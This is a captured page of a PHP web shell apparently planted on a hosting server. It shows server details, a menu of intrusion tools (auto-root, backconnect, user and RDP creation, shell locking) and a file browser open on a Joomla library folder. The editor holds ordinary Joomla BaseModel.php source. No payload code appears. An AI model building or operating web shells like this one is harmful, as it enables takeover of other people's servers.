Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
libraries /
src /
MVC /
Model /
[ HOME SHELL ]
Name
Size
Permission
Action
AdminModel.php
41.6
KB
-rw----r--
BaseDatabaseModel.php
8.14
KB
-rw----r--
BaseModel.php
3.16
KB
-rw----r--
DatabaseAwareTrait.php
1.03
KB
-rw----r--
DatabaseModelInterface.php
558
B
-rw----r--
FormBehaviorTrait.php
4.92
KB
-rw----r--
FormModel.php
6.04
KB
-rw----r--
FormModelInterface.php
730
B
-rw----r--
ItemModel.php
1.05
KB
-rw----r--
ItemModelInterface.php
563
B
-rw----r--
LegacyModelLoaderTrait.php
4.64
KB
-rw----r--
ListModel.php
18.22
KB
-rw----r--
ListModelInterface.php
547
B
-rw----r--
ModelInterface.php
531
B
-rw----r--
StateBehaviorTrait.php
2.13
KB
-rw----r--
StatefulModelInterface.php
1.03
KB
-rw----r--
WorkflowBehaviorTrait.php
9.28
KB
-rw----r--
WorkflowModelInterface.php
2.98
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BaseModel.php
<?php /** * Joomla! Content Management System * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\MVC\Model; \defined('JPATH_PLATFORM') or die; use Joomla\CMS\Filesystem\Path; use Joomla\CMS\Language\Text; use Joomla\CMS\Object\CMSObject; /** * Base class for a Joomla Model * * @since 4.0.0 */ abstract class BaseModel extends CMSObject implements ModelInterface, StatefulModelInterface { use StateBehaviorTrait; use LegacyModelLoaderTrait; /** * The model (base) name * * @var string * @since 4.0.0 */ protected $name; /** * The include paths * * @var array * @since 4.0.0 */ protected static $paths; /** * Constructor * * @param array $config An array of configuration options (name, state, ignore_request). * * @since 4.0.0 * @throws \Exception */ public function __construct($config = array()) { // Set the view name if (empty($this->name)) { if (\array_key_exists('name', $config)) { $this->name = $config['name']; } else { $this->name = $this->getName(); } } // Set the model state if (\array_key_exists('state', $config)) { $this->state = $config['state']; } // Set the internal state marker - used to ignore setting state from the request if (!empty($config['ignore_request'])) { $this->__state_set = true; } } /** * Add a directory where \JModelLegacy should search for models. You may * either pass a string or an array of directories. * * @param mixed $path A path or array[sting] of paths to search. * @param string $prefix A prefix for models. * * @return array An array with directory elements. If prefix is equal to '', all directories are returned. * * @since 3.0 * @deprecated 5.0 See LegacyModelLoaderTrait\getInstance */ public static function addIncludePath($path = '', $prefix = '') { if (!isset(self::$paths)) { self::$paths = array(); } if (!isset(self::$paths[$prefix])) { self::$paths[$prefix] = array(); } if (!isset(self::$paths[''])) { self::$paths[''] = array(); } if (!empty($path)) { foreach ((array) $path as $includePath) { if (!\in_array($includePath, self::$paths[$prefix])) { array_unshift(self::$paths[$prefix], Path::clean($includePath)); } if (!\in_array($includePath, self::$paths[''])) { array_unshift(self::$paths[''], Path::clean($includePath)); } } } return self::$paths[$prefix]; } /** * Method to get the model name * * The model name. By default parsed using the classname or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @since 4.0.0 * @throws \Exception */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/Model(.*)/i', \get_class($this), $r)) { throw new \Exception(Text::sprintf('JLIB_APPLICATION_ERROR_GET_NAME', __METHOD__), 500); } $this->name = str_replace(['\\', 'model'], '', strtolower($r[1])); } return $this->name; } }
Close